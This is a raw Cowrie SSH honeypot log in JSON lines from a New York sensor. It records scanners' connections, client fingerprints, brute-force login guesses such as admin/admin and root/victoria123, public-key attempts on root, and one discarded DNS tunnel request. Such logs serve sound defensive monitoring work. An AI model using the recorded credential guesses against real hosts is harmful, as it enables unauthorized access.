{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:26.872286Z","src_ip":"103.115.56.3","session":"41bb47ff2d8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25012,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fc91e226482","protocol":"ssh","message":"New connection: 87.251.64.176:25012 (10.17.0.5:22) [session: 5fc91e226482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:29.804300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:29.809692Z","src_ip":"87.251.64.176","session":"5fc91e226482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:29.907005Z","src_ip":"87.251.64.176","session":"5fc91e226482","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:30.197971Z","src_ip":"87.251.64.176","session":"5fc91e226482","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:30.303249Z","session":"5fc91e226482","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:30.402223Z","src_ip":"87.251.64.176","session":"5fc91e226482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:30.508241Z","src_ip":"87.251.64.176","session":"5fc91e226482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":49094,"dst_ip":"159.203.135.109","dst_port":22,"session":"0796581cbca1","protocol":"ssh","message":"New connection: 43.163.95.54:49094 (159.203.135.109:22) [session: 0796581cbca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:38.987739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:38.992547Z","src_ip":"43.163.95.54","session":"0796581cbca1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:39.237583Z","src_ip":"43.163.95.54","session":"0796581cbca1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:40.252474Z","src_ip":"43.163.95.54","session":"0796581cbca1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:41.501522Z","src_ip":"43.163.95.54","session":"0796581cbca1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":1387,"dst_ip":"10.17.0.5","dst_port":22,"session":"93578c4e48ad","protocol":"ssh","message":"New connection: 102.88.137.213:1387 (10.17.0.5:22) [session: 93578c4e48ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:52.770108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:52.773815Z","src_ip":"102.88.137.213","session":"93578c4e48ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:52.951629Z","src_ip":"102.88.137.213","session":"93578c4e48ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kaushik","message":"login attempt [root/kaushik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:53.697679Z","src_ip":"102.88.137.213","session":"93578c4e48ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:54.880497Z","src_ip":"102.88.137.213","session":"93578c4e48ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":51268,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9d641d8e317","protocol":"ssh","message":"New connection: 170.106.191.31:51268 (10.17.0.5:22) [session: c9d641d8e317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:58.288119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:58.293038Z","src_ip":"170.106.191.31","session":"c9d641d8e317","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:58.361121Z","src_ip":"170.106.191.31","session":"c9d641d8e317","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoria123","message":"login attempt [root/victoria123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:58.665636Z","src_ip":"170.106.191.31","session":"c9d641d8e317","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":58766,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ce7c7600c78","protocol":"ssh","message":"New connection: 80.94.92.184:58766 (10.17.0.5:22) [session: 2ce7c7600c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:59.734752Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:59.740628Z","src_ip":"170.106.191.31","session":"c9d641d8e317","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:59.972346Z","src_ip":"80.94.92.184","session":"2ce7c7600c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:11:59.976346Z","src_ip":"80.94.92.184","session":"2ce7c7600c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":62349,"dst_ip":"10.17.0.5","dst_port":22,"session":"60e5860eab35","protocol":"ssh","message":"New connection: 213.209.159.56:62349 (10.17.0.5:22) [session: 60e5860eab35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:00.609051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:00.613034Z","src_ip":"213.209.159.56","session":"60e5860eab35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:00.695655Z","src_ip":"213.209.159.56","session":"60e5860eab35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.180.163.29","src_port":49794,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a9c1883632e","protocol":"ssh","message":"New connection: 139.180.163.29:49794 (10.17.0.5:22) [session: 5a9c1883632e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:01.037755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:01.042223Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy","message":"login attempt [chassidy/chassidy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:01.094989Z","src_ip":"213.209.159.56","session":"60e5860eab35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:01.250844Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:01.316961Z","src_ip":"80.94.92.184","session":"2ce7c7600c78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chassidy","password":"chassidy1","message":"login attempt [chassidy/chassidy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.185303Z","src_ip":"213.209.159.56","session":"60e5860eab35","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:af:e7:8d:32:f3:a0:ff:0b:07:3d:da:b0:8b:1d:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqJldvVKk4ENDHmIv8kRKlSjML9eFRbhp7R0MtQLkfVQnFNYrBZ7WckXs0QTlcZptWbSsOl7qg8AXnS+eRiVcGYExmA0nTWgizKduRT/eDaQ5aFtd7XfPA8MBlg9MEoXzgnUT1HCX7eiX9sBMzd0qrwngP/MUx23XCxNULi5G8v1xzeyzgLaa6hRJ2/GFsSxZFqLVYFVFeh+oVHEoteS3mc7oCfrFAmH9jn+EqBZRwoIJZeW3GAhk6Rd7BGgsY3Z+s3zS2Ug/rLf9BcMvqzY7MbMMpm9uLwRNJmMTkPtAomNLxvbp/MjmW7sdvd6SUd9HkqXE+pX9ZsCXspA6Xkpf7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:af:e7:8d:32:f3:a0:ff:0b:07:3d:da:b0:8b:1d:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.286470Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:af:e7:8d:32:f3:a0:ff:0b:07:3d:da:b0:8b:1d:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqJldvVKk4ENDHmIv8kRKlSjML9eFRbhp7R0MtQLkfVQnFNYrBZ7WckXs0QTlcZptWbSsOl7qg8AXnS+eRiVcGYExmA0nTWgizKduRT/eDaQ5aFtd7XfPA8MBlg9MEoXzgnUT1HCX7eiX9sBMzd0qrwngP/MUx23XCxNULi5G8v1xzeyzgLaa6hRJ2/GFsSxZFqLVYFVFeh+oVHEoteS3mc7oCfrFAmH9jn+EqBZRwoIJZeW3GAhk6Rd7BGgsY3Z+s3zS2Ug/rLf9BcMvqzY7MbMMpm9uLwRNJmMTkPtAomNLxvbp/MjmW7sdvd6SUd9HkqXE+pX9ZsCXspA6Xkpf7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.299187Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:90:d0:ed:17:ec:30:96:31:66:84:cb:c4:28:f4:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk3EuVvBS/aYZoc06aVJi10qw4UsoGI0Ep2a8GR/hyeuq0maAbNI0NlVJE8OQRPbCsS01AwyR6D/FNuWuLRyV4f9pR5mGEeYWvUiu5qlXkAThWIk23ZrpiJB0ay6gFk0uMLnc3CfQ9d98rJk0faGxi0YAiQOP/ixdgcJ76ZchGIFP7LQxCutochBshVmW3YiPezfwz932Duc4aV+b76pQu1pad2f/7H1ks59x6WqYNl/BZnhM+iYs9Yn2AvHRIhO2J16dp3mam5YsR0f08tpuNjRY6j1Tzx4WPMXwdIft22WrF0u4OyTwktlae0/JHH/DjCJlK/1ynQqB2W/Yn15bD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:90:d0:ed:17:ec:30:96:31:66:84:cb:c4:28:f4:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:12:02.515459Z","src_ip":"139.180.163.29","session":"5a9c1883632e","protocol":"ssh"}
